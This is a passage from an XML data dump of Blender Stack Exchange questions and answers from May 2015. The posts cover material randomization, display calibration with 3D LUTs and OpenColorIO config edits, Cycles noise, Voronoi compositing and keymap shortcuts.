  <row Id="31080" PostTypeId="2" ParentId="31075" CreationDate="2015-05-19T04:01:35.630" Score="15" Body="&lt;p&gt;With one material shared between all the rectangles, you can add randomized attributes, as long as each rectangle is a separate mesh object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick is using the Object Info Node with the Random output as a factor in texture position as well as in a colour overlay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the modified Material node tree. All collapsed nodes are unchanged from the original material from the original question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5wiSD.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5wiSD.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample screenshot of the single material across the 48 rectangular meshes (16 groups of 3). It demonstrates the randomization of the colour overlay as well as the shift in Texture coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k3IGA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Randomizing Colour&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S7OUt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The colour overlay is easier to explain. You take the Random value into the Factor of a Colour Ramp and then mix that over top of your base colour. The Random value will apply a different position value from the colour ramp to each of the mesh objects, giving you the colour variation you need. Adjust the colour ramp to make it as subtle as you want.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Randomizing Texture Position&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jnwyu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This part is a little trickier. Essentially we want to modify the X and Y values of the Texture Coordinate. It's important to know that Adding to these values moves the textures, and Multiplying a number by these values Scales the Texture Coordinates. We don't want to scale here, we just want to randomly change the X and Y values of the coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem is that we can't do this with the Mapping node&lt;/strong&gt;, so we need some math nodes. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First we take the output of the Mapping Node and split the XYZ values with a Separate XYZ node.&lt;/li&gt;&#xA;&lt;li&gt;Then we add the Random value to the X and the Y values&lt;/li&gt;&#xA;&lt;li&gt;Then we use the Combine XYZ node to combine the altered XY values with the unchanged Z value.&lt;/li&gt;&#xA;&lt;li&gt;At this point we pipe the vector output into the rest of the node tree as was originally set up.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This way we are adding a random integer to the X and Y value and shifting the texture coordinates for each mesh that uses our single material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: In this example I did not randomize the Glossy material, although you could certainly do that as well.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tip: If you want to learn more about modifying texture coordinates, I would highly recommend Bartek Skorupa's video: &lt;a href=&quot;https://www.youtube.com/watch?v=kAUmLcXhUj0&quot; rel=&quot;noreferrer&quot;&gt;&quot;Manipulating Texture Coordinates Like A Boss&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="1448" LastEditDate="2015-05-20T15:39:09.980" LastActivityDate="2015-05-20T15:39:09.980" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31081" PostTypeId="1" CreationDate="2015-05-19T04:07:08.103" Score="-1" ViewCount="198" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/shS20.jpg&quot; alt=&quot;Wall Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iCWuA.jpg&quot; alt=&quot;Window Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want an animation video of it can anyone help me...&lt;/p&gt;&#xA;" OwnerUserId="14454" LastActivityDate="2015-05-19T05:37:26.037" Title="I want an animation such that this window move from right to left" Tags="&lt;animation&gt;&lt;blend-modes&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-20T15:52:33.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="31082" PostTypeId="2" ParentId="31068" CreationDate="2015-05-19T04:20:59.640" Score="32" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Further along the research path, when comparing the output against the expected using GIMP, the LUTs generated from displaycalGUI seem to be absolutely correct and as expected. A few quick tests later however, revealed that GIMP is stuck with Relative Colorimetric rendering no matter what setting is selected. Needless to say, this answer has been validated and I'm much more comfortable standing by the process that follows. I would encourage anyone interested in Absolute versus Relative colorimetric rendering intents to read the fantastic article at &lt;a href=&quot;http://www.cambridgeincolour.com/tutorials/color-space-conversion.htm&quot; rel=&quot;noreferrer&quot;&gt;Cambridge in Color&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;Who is this for?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Any artist that is delivering material should be aware of the pitfalls and complexities of colour rendition. If they aren't, clients and audience members will be delivered material that isn't the artist's intention.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How long does it take?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This depends on both the hardware involved and the experience of the artist. The bulk of the time will be spent sampling on-screen values. An artist familiar with the process can expect reasonable quality results in fifteen minutes, with high quality results taking longer.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What should I know?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;While it is possible to follow this guide without prior knowledge, an awareness of colour and its management is advised.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What do I need to do this?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The measurement of colours and intensity from a display or other output device requires a great degree of accuracy. This requires either a colorimeter or a spectrophotometer.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What type of device should I get?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.xrite.com/colormunki-display&quot; rel=&quot;noreferrer&quot;&gt;X-Rite ColorMunki Display&lt;/a&gt; and the &lt;a href=&quot;http://www.xrite.com/i1display-pro&quot; rel=&quot;noreferrer&quot;&gt;i1Display Pro&lt;/a&gt; are extremely reasonably priced and high quality colorimeter instruments, differing only in their processing times in the darker regions. Both require no additional binary blobs to drive them. For greater accuracy, a spectrophotometer is advised. At this time, the ColorHug or other measuring instruments cannot be recommended.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What software do I require?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The software that comes pre-packaged with the various devices is often lacking in artist-driven control so much so as to make the software effectively useless. With specific regard to Blender and other motion picture forms of colour management, the software must support the generation of 1D and 3D LUTs. One of the most sophisticated pieces of software available to achieve this is &lt;a href=&quot;http://dispcalgui.hoech.net/&quot; rel=&quot;noreferrer&quot;&gt;dispcalGUI&lt;/a&gt;, which is built atop of the robust ArgyllCMS toolset. In some instances, you will also require the &lt;a href=&quot;http://www.argyllcms.com/&quot; rel=&quot;noreferrer&quot;&gt;ArgyllCMS application files&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What should I know about my hardware?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If we zoom into a single pixel on your screen, we will typically see a set of three unique micro emitting regions. These regions are normally red, green, and blue. What many artists don't realize however, is that the colours of the red, green, and blue filters are unique and different across a range of hardware, despite often being labelled &quot;sRGB&quot;, and vary immensely. The quality of the filters, spectral output, intensity output at various levels, age of hardware, white point, and a plethora of other factors all contribute to a near random range of output values for any given RGB triplet output to them. The limit of the range of colours, or gamut, a display can produce is permanently bounded by the colour of these emitting regions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if a display is capable of fully covering the volume of a small gamut such as sRGB, it does not mean that an artist can use unadjusted RGB values to display sRGB content. The values must be evaluated for their intended colour against the actual output the display produces. This is known as characterizing or profiling.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;I have a wide gamut display.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Expensive wide gamut displays, from Sony Trimaster ELs and Flanders Scientifics to less expensive Eizos and Lacies, increase the chance of incorrect colour output because the colour of the individual RGB emitters are radically different from the canonized default of sRGB. An artist using such a panel must exert extra care and attention to settings or risk never accurately outputting sRGB primary based colours. This answer relies on a wide gamut display being set to sRGB emulation mode for the sake of clarity.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What should I do as first steps?&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you are using a wide gamut display, ideally enable sRGB mode. This will trigger a low level hardware adjusted setting that will emulate sRGB output from your wide gamut display.&lt;/li&gt;&#xA;&lt;li&gt;Backlight technology takes time to warm up to a constant level, so assert that your display has been illuminated for at least twenty to thirty minutes. This includes not being in a standby or power save mode.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Do I need to do anything prior to proceeding?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Colour management and display can be complicated by various operating systems and applications, and no operating system nor piece of software can insulate you from these complexities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have previously calibrated and profiled your display, you must disable any previous settings at your operating system level. This is because each calibration and profiling attempt is specifically geared to a particular set of settings and device states. If you fail to do this, your effort from here forward will be worthless.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;I have downloaded the software and have my measuring device plugged in. What next?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Launch displaycalGUI. You should see something close to the screenshot below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cw3kI.jpg&quot; alt=&quot;Basic starting point with displaycalGUI&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the Options, make sure that Advanced Options are enabled, and that Black and White drifting compensation is turned on. These settings reduce temperature from adversely influencing your measurements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UkZE3.jpg&quot; alt=&quot;Advanced menu option&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bl5ut.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Profiling&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Select the Profiling page, and you are ready to begin characterizing your display's response to known values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some may be wondering why we are purposefully skipping the calibration phase. The reason for this is brevity, but also practical. When we calibrate a display, anything beyond hardware controls requires the computer's video card to store intensity curves on it. Sometimes, due to broken drivers or otherwise, the intensity curves may be dropped without an artist becoming immediately aware. The net effect of this is that the profile generated becomes useless, and worse, many hours of colour critical work can be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more experienced artists, feel free to use the interactive adjustments to steer your display into the sRGB target as best as you can. If there is interest, this can be covered in a later answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Profiling page, select the sRGB swatch set. This will use a set of test patches that will model the display's response with particular focus on important sRGB gamut values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UP28R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Options menu, select &lt;em&gt;Measure testchart&lt;/em&gt;, disable the calibration within the profile, and position your instrument as directed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nftik.jpg&quot; alt=&quot;Measurement menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KbxP2.jpg&quot; alt=&quot;Disable calibration curves&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NeMqK.jpg&quot; alt=&quot;Measurement window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select &lt;em&gt;Start measurement&lt;/em&gt; and wait for the process to complete.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Generate the profile&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When the software completes, you will have generated the response data from the known swatches. This now needs to be converted into an ICC / ICM file. Select &lt;em&gt;Create profile from measurement data&lt;/em&gt; and select the data directory created from the previous step to find the correct file.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Create the 3D LUT&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Many high end imaging applications do not use ICC based colour management systems as it is inappropriate for photographic and scene referred imaging. As a result, we will need a particular type of file that OpenColorIO, the colour management system in place within Blender, can understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bo3TP.jpg&quot; alt=&quot;3D LUT creator&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant selections we need are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Our output space coming from a default Blender configuration assumes sRGB / REC.709 coloured primaries, sRGB D65 white point, and sRGB transfer curve. As such, we select the &lt;em&gt;Source profile&lt;/em&gt; to be the sRGB profile included with Argyll.&lt;/li&gt;&#xA;&lt;li&gt;We want an unmodified tone curve.&lt;/li&gt;&#xA;&lt;li&gt;Our &lt;em&gt;Target profile&lt;/em&gt; is what we want to filter the values from Blender coming out of into. We select the profile we generated from the output above.&lt;/li&gt;&#xA;&lt;li&gt;To avoid inconsistent bending of our values, we select Absolute colorimetric. This will attempt to display as close to a true D65 sRGB image regardless of our current display's white point. If we wish to have the software compensate for our measured white point, we should select &lt;em&gt;Relative colorimetric&lt;/em&gt;. These are the only two most mathematically correct rendering intents as a general rule, with many others being nonstandard and custom approaches.&lt;/li&gt;&#xA;&lt;li&gt;We select the Sony Imageworks 3D floating point LUT format, with full range input and output.&lt;/li&gt;&#xA;&lt;li&gt;The maximum LUT size assures best quality conversions where available.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Hooking the 3D LUT into Blender&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The final step is to hook the 3D LUT we generated into the Blender display chain output transformation. This will require editing the OpenColorIO configuration file and placing the generated 3D LUT above into the correct directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our first step is to copy the generated 3D LUT into the correct directory so that Blender can utilize it. The 3D spi3d file should be placed in the colormanagement/luts directory below your installation. That is, if we are using version 2.74, the full path from within our base Blender directory would be:&#xA;    /bin/2.74/datafiles/colormanagement/luts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, we need to adjust the config.ocio file. Open the config.ocio file using a text editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;BLENDER_DIRECTORY&amp;gt;/bin/2.74/datafiles/colormanagement/config.ocio&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We need to first create the actual colorspace reference within the file. We will use the generic sRGB float based transform as a base, and simply append our corrective 3D LUT to it. After the sRGB transform definition, add the following transformation stanza:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- !&amp;lt;ColorSpace&amp;gt;&#xA;    name: sRGB Corrected&#xA;    family: display&#xA;    equalitygroup:&#xA;    bitdepth: 32f&#xA;    description: |&#xA;      Corrected sRGB display&#xA;    isdata: false&#xA;    allocation: uniform&#xA;    allocationvars: [-0.125, 4.875]&#xA;    from_reference: !&amp;lt;GroupTransform&amp;gt;&#xA;      children:&#xA;        - !&amp;lt;FileTransform&amp;gt; {src: srgb.spi1d, interpolation: linear, direction: inverse}&#xA;        - !&amp;lt;FileTransform&amp;gt; {src: &amp;lt;NAME_OF_YOUR_LUT&amp;gt;.spi3d, interpolation: best}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the top of the file, we will need to add our sRGB Corrected transform to our list of options for the view outputs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  sRGB:&#xA;    - !&amp;lt;View&amp;gt; {name: Default, colorspace: sRGB}&#xA;    - !&amp;lt;View&amp;gt; {name: RRT, colorspace: rrt_srgb}&#xA;    - !&amp;lt;View&amp;gt; {name: Film, colorspace: srgb8}&#xA;    - !&amp;lt;View&amp;gt; {name: Raw, colorspace: Raw}&#xA;    - !&amp;lt;View&amp;gt; {name: Log, colorspace: lg10}&#xA;    - !&amp;lt;View&amp;gt; {name: Corrected, colorspace: sRGB Corrected}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will enable you to view your transform in the Scene's colormanagement settings via selecting the option &lt;em&gt;Corrected&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2015-07-04T04:03:27.573" LastActivityDate="2015-07-04T04:03:27.573" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="31083" PostTypeId="2" ParentId="31043" CreationDate="2015-05-19T04:22:16.417" Score="2" Body="&lt;p&gt;I had this problem like this early on.  It's because you're in perspective instead of ortho mode and in perspective the viewport behaves differently, it never goes in close to the object you're zooming, in ortho mode this doesn't happen.  Perhaps I'm over simplifying; but it behaves as you're saying on the 'when I move closer, I don't get any closer&quot; I don't know about Maya.  If this is the issue, simply hit the number '5' on the number keypad in Blender key layout to switch between Ortho and Perspective, you want Ortho. if User Preferences are organized the same in Maya as in Blender, this would be under user settings: Input/3D View/3D View (Global)/View Persp/Ortho if you need to change user settings for Maya, or see what they are.&lt;/p&gt;&#xA;" OwnerUserId="14243" LastActivityDate="2015-05-19T04:22:16.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31084" PostTypeId="2" ParentId="31081" CreationDate="2015-05-19T05:37:26.037" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Assume Blender Render. Create two planes.  UV unwrap and select your textures in the question above to be mapped to the planes via the material panel then texture panel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to a beginning frame and insert position keyframes for both planes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to a ending frame and insert position keyframes for both planes&lt;/li&gt;&#xA;&lt;li&gt;Your materials can be Shadowless.&lt;/li&gt;&#xA;&lt;li&gt;Test animation. Render your animation to a video format.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-19T05:37:26.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31085" PostTypeId="2" ParentId="31078" CreationDate="2015-05-19T05:40:18.367" Score="2" Body="&lt;p&gt;You could set the 'Transformation orientation' to 'local' and show the translation, rotation and scaling arrow (you can use &lt;kbd&gt;Shift&lt;/kbd&gt; to select multiple of them), and use these to transform your object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PCVwb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-19T05:40:18.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31086" PostTypeId="2" ParentId="31072" CreationDate="2015-05-19T05:41:42.700" Score="4" Body="&lt;p&gt;It looks like what you've found is accurate.  Here is an excerpt from the manual &lt;a href=&quot;http://www.blender.org/manual/render/cycles/gpu_rendering.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/manual/render/cycles/gpu_rendering.html&lt;/a&gt; so far as I know it's current for mid-2015&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Limitations&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The maximum amount of individual textures is limited to 95 byte-image&#xA;  textures (PNG, JPEG, ..) and 5 float-image textures (OpenEXR, 16 bit&#xA;  TIFF, ..) on GTX 4xx/5xx cards, and 145 byte-image textures and 5&#xA;  float-image textures on GTX6xx cards and above.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-05-19T05:41:42.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31087" PostTypeId="2" ParentId="31079" CreationDate="2015-05-19T05:46:56.307" Score="5" Body="&lt;p&gt;There are 2 methods worth looking into.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/manual/render/cycles/nodes/textures.html#image-texture&quot; rel=&quot;nofollow&quot;&gt;Blended box mapping&lt;/a&gt; (cycles / rendering only)&lt;br&gt;&lt;em&gt;Easy to enable and apply everywhere but adds noticeable blurring/blending.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Projection painting - use the clone tool in 3d to clone over the seam&lt;br&gt;&lt;em&gt;Gives a lot of control but makes the texture specific to meshes UV's, and wont work for tiling textures. However it can be used anywhere UV textures are supported - exporting to game engines for eg.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-05-19T11:59:58.870" LastActivityDate="2015-05-19T11:59:58.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31088" PostTypeId="1" CreationDate="2015-05-19T06:00:06.730" Score="3" ViewCount="297" Body="&lt;p&gt;I have an object like this. It's basically an icosphere with holes, which I got by selecting all faces, &lt;em&gt;Select Menu &gt; Checker Deselect&lt;/em&gt; and then &lt;kbd&gt;S&lt;/kbd&gt; + &lt;kbd&gt;0&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W2rxY.png&quot; alt=&quot;Sphere&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem starts when I try to render it in Cycles. The inside is very noisy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dVGiN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing the Samples doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clamping doesn't help either. Nor does Multiple Importance in World settings. If I try increasing Diffuse Bounces, the inside gets overly lit, but the area close to the corner, which has the remains of a shadow, stays noisy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender Internal, I could go to Gather tab in World settings and set a Falloff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eWSkB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that yielded this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SgbM1.png&quot; alt=&quot;BI result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how realistic it is, but at least it's somewhat fast and noiseless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since BI is said to be obsolete and might be kicked out in the upcoming future, I want to know if it is possible to achieve similar results in Cycles. Also, I'm trying to bake lighting to a texture, so a way that supports baking as well would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT1: Posting results of renderings with different amounts of samples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Lc69.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="2324" LastEditDate="2015-05-20T04:54:34.573" LastActivityDate="2015-05-20T11:17:19.430" Title="Noise reduction in tight area in cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;noise-reduction&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31089" PostTypeId="1" AcceptedAnswerId="31661" CreationDate="2015-05-19T06:23:01.890" Score="8" ViewCount="778" Body="&lt;p&gt;I just saw &lt;a href=&quot;https://codegolf.stackexchange.com/questions/50299/draw-an-image-as-a-voronoi-map&quot;&gt;this&lt;/a&gt; on codegolf and thought it would be an increadibly cool application of the Blender compositor for NPR.&#xA;Perhaps coupled with a blur shader this could make a nice painterly effect.&#xA;Is there any way of creating a Voronoi map effect in the compositor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the effect (from the codegolf topic above):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3BEMv.png&quot; alt=&quot;Voronoi of Saturn&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14456" LastEditorUserId="47" LastEditDate="2015-05-19T07:10:36.097" LastActivityDate="2015-05-29T15:25:30.287" Title="Voronoi map in the compositor" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;compositor&gt;&lt;npr&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31090" PostTypeId="5" CreationDate="2015-05-19T06:46:28.413" Score="0" Body="&lt;p&gt;NPR rendering often involves toon/cel shading and lineart provided by freestyle, but many different styles are possible. NPR can be used to mimic more 'traditional' artistic styles such as watercolor, sketching, painting, etc.&lt;/p&gt;&#xA;" OwnerUserId="14456" LastEditorUserId="14456" LastEditDate="2015-05-19T08:04:53.110" LastActivityDate="2015-05-19T08:04:53.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31091" PostTypeId="4" CreationDate="2015-05-19T06:46:28.413" Score="0" Body="Non-Photorealistic Rendering is a technique that focuses on cartoony, anime like and painterly style digital art as well as mimicing more traditional art forms. Blender's toon shaders and Freestyle are often used in this style of rendering." OwnerUserId="14456" LastEditorUserId="14456" LastEditDate="2015-05-19T07:14:45.680" LastActivityDate="2015-05-19T07:14:45.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31092" PostTypeId="1" AcceptedAnswerId="31093" CreationDate="2015-05-19T07:53:00.323" Score="7" ViewCount="6672" Body="&lt;p&gt;I have a High poly mesh and I have decided to make the low poly by merging as it is easiest for me. Would it be possible to change the &lt;kbd&gt;W&lt;/kbd&gt; Hotkey , so that it merges to the center automatically? It is time consuming pressing &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;&gt; Merge &gt; Center&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="3710" LastEditDate="2015-05-19T07:54:27.397" LastActivityDate="2020-06-29T14:57:50.207" Title="Change merge shortcut?" Tags="&lt;mesh&gt;&lt;shortcut&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31093" PostTypeId="2" ParentId="31092" CreationDate="2015-05-19T08:11:27.200" Score="7" Body="&lt;h3&gt;Blender 2.8x&lt;/h3&gt;&#xA;&lt;p&gt;As of Blender 2.8x the 'Merge at Center' shortcut has been removed so you would have to &lt;strong&gt;create a new one&lt;/strong&gt;. &lt;em&gt;Right-click&lt;/em&gt; &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvGt0.png&quot; alt=&quot;RMB&quot;&gt; RMB&lt;/kbd&gt; the &lt;em&gt;menu item&lt;/em&gt;, click 'Assign Shortcut' and choose whatever you like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v421r.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v421r.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Alternatively&lt;/em&gt; you can add it to the new 'Quick Favorites' list. That way you can access the operator by using (&lt;kbd&gt;Q&lt;/kbd&gt;) in the viewport. &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvGt0.png&quot; alt=&quot;RMB&quot;&gt; RMB&lt;/kbd&gt; the &lt;em&gt;menu item&lt;/em&gt; and select 'Add to Quick Favorites':&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5vltF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5vltF.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another option is to &lt;strong&gt;create the shortcut manually&lt;/strong&gt;. Go to the &lt;em&gt;User Preferences &amp;gt; Keymap&lt;/em&gt;, then unfold &lt;em&gt;3D View &amp;gt; Mesh &amp;gt; Mesh (Global)&lt;/em&gt; and add a custom shortcut item by clicking 'Add New'. Set the identifier to &lt;code&gt;mesh.merge&lt;/code&gt;, it's type to 'At Center' and the actual key event to &lt;kbd&gt;W&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MDBDo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MDBDo.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Blender 2.7x&lt;/h3&gt;&#xA;&lt;p&gt;As always in Blender &lt;em&gt;Right-click&lt;/em&gt; 